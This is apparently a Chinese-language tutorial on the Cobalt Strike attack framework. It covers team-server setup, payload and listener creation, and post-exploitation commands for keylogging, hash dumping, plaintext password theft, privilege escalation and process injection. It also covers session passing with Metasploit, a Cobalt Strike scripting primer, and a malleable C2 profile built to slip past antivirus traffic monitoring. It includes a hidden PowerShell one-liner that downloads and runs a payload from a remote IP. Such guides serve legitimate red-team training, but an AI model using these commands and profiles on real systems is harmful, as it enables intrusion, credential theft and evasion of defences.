CobalStrike
概述
一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。
主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。
用法
启动
要求java版本1.8以上
kali 切换java版本update-alternatives --config java
-
启动服务器
teamserver + ip + 密码
-
客户端连接
./start.sh
-
输入服务器地址和团队密码,用户名随意,端口默认为50050
工具条
依次为
-
连接另一个服务器
-
断开当前服务器
-
监听
-
切换为服务器节点图
-
切换为普通显示形式-会话列表
-
切换成目标列表
-
查看某一操作结果的凭据信息
-
查看在目标里下载的文件
-
查看目标键盘记录
-
查看屏幕截图
-
生成载荷
-
生成Java攻击载荷
-
生成宏
-
web传递攻击
……
基本操作
-
大致步骤
设置监听,生成payload,然后生成一个会话
文件攻击(类似msf)
-
监听设置
-
生成payload
-
运行程序之后
节点图模式绿色虚线表示http协议或者https协议
黄色标识dns
蓝色tcp
橙色的smd
表模式
用户权限,pid,版本等信息一目了然
无文件攻击(web监听)
-
监听设置
-
得到一条命令
复制,然后到目标机运行
这里是
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.95.128:80/a'))"
- 得到一个会话以powershell运行
后渗透
- 选择目标,然后进入交互模式
常用命令
-
sleep:设置交互时间
默认60s 一次
-
shell/run + 命令:在cmd中执行一条命令
shell whoami
run whoami
-
execuse:执行一个文件
-
powershell + 参数:执行一个powershell指令
-
powerpick:不调用powershell执行powershell指令,可绕过杀软/防护
-
execute-assembly:执行一个.net程序
-
pwd:查看目录
-
cd:切换目录
-
file brower:以界面化的形式查看文件
比较费时间,但很方便
- process list:以界面化的形式查看进程
可杀死、注入进程来获得高权限
- portscan:端口扫描
-
shinject:进程注入
-
ps:查看进程列表
-
keylogger:键盘记录
-
getuid:查看用户信息
-
getprivs:查看用户详细权限
-
getsystem:尝试提权
-
hashdump:导出用户密码(加密)
-
logonpasswords:尝试抓取明文密码
- argue:参数欺骗,绕过杀软*** 可用于powershell上线、添加用户等
联动msf
-
尽管cs界面化很方便,但少了些功能,可以与msf进行会话互传进行补足
- 先使用msf连接上目标主机
会话互传
-
msf --> cs
- msf会话反弹后,background
- 加载模块:use exploit/windows/local/payload_inject
- 设置:set payload windows/meterpreter/reverse_http (方式与cs相同)
- 设置ip与端口:set lhost/lpost (与cs中监听配置相同)
- 设置session:set session + msf反弹会话处的session号
- 执行:exploit
上线
-
cs --> msf
-
先用cs获得一个会话
-
msf中加载模块:use exploit/multi/handler
-
设置payload、ip和端口,执行exploit
- cs添加监听-Foreign HTTP
-
Spawn 派生,即可在msf中等待会话反弹
-
流量加密
-
C2-profile:cs内置工具,用于控制cs流量(防止诺顿等杀软对流量特征的监控与拦截)
-
keytool
-
keytool -genkey -alias demo -keyalg RSA -validity 36500 -keystore demo.store
-
完成相关信息的输入,密钥有用、姓氏等随意
-
修改.profile文件内容,若没有则新建一个
set sample_name "tryblog POS Malware"; set sleeptime "5000"; # use a ~30s delay between callbacks set jitter "10"; # throw in a 10% jitter set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"; #设置证书,注意以下内容得和你之前生成的证书一样 https-certificate { set CN "y"; set O "y"; set C "y"; set L "y"; set OU "y"; set ST "y"; set validity "365"; } #设置,修改成你的证书名称和证书密码 code-signer{ set keystore "demo.store"; set password "123456"; set alias "demo"; } #指定DNS beacon不用的时候指定到IP地址 set dns_idle "8.8.4.4"; #每个单独DNS请求前强制睡眠时间 set dns_sleep "0"; #通过DNS上载数据时主机名的最大长度[0-255] set maxdns "235"; http-post { set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php"; client { header "Accept" "text/plain"; header "Accept-Language" "en-us"; header "Accept-Encoding" "text/plain"; header "Content-Type" "application/x-www-form-urltrytryd"; id { netbios; parameter "id"; } output { base64; prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="; print; } } server { output { print; } } } http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } }
-
验证可用性:./c2lint demo.profile
- 启动cs:指令后接 ./demo.profile 即可
-
cs插件编写
-
可以根据cs官网文档的指导,并使用它的函数库
-
cs进入脚本控制台:view --> Script Console
-
新建一个demo.cna,进行编写 (特征:空格隔开)
$a = $b + 1;
on ready{ #on表示一个事件,在客户端启动加载脚本的时候执行 $long = 4; $long2 = "first"; $list = @("a","b"); $dict = %(a => "apple" , b => "boy"); println("\$list is : $list and \n\$long2 with \$long is $long $+ $first"); closeClient(); }
-
测试功能:./agscript 服务器地址 neo 默认端口 团队密码 demo.cna
打印: $list is : @("a","b") and $long2 with $long is 4
-
声明一个函数 sub
on ready { sub add{ println($1 + $2); } #函数不用指定参数 add(4,5); closeClient(); } 打印:9
-
cs中使用插件脚本执行命令
command foo { println("hello $1"); ##println("\c3hello \cA$1"); 染色 } 脚本控制台内 读取脚本:reload 目录/demo.cna 执行:foo 123 打印:hello 123
-
用脚本生成菜单
popup help { menu "&help" { item "&test" { graph_layout($1,"circle"); } } item "$none" { graph_layout($1,"none"); } }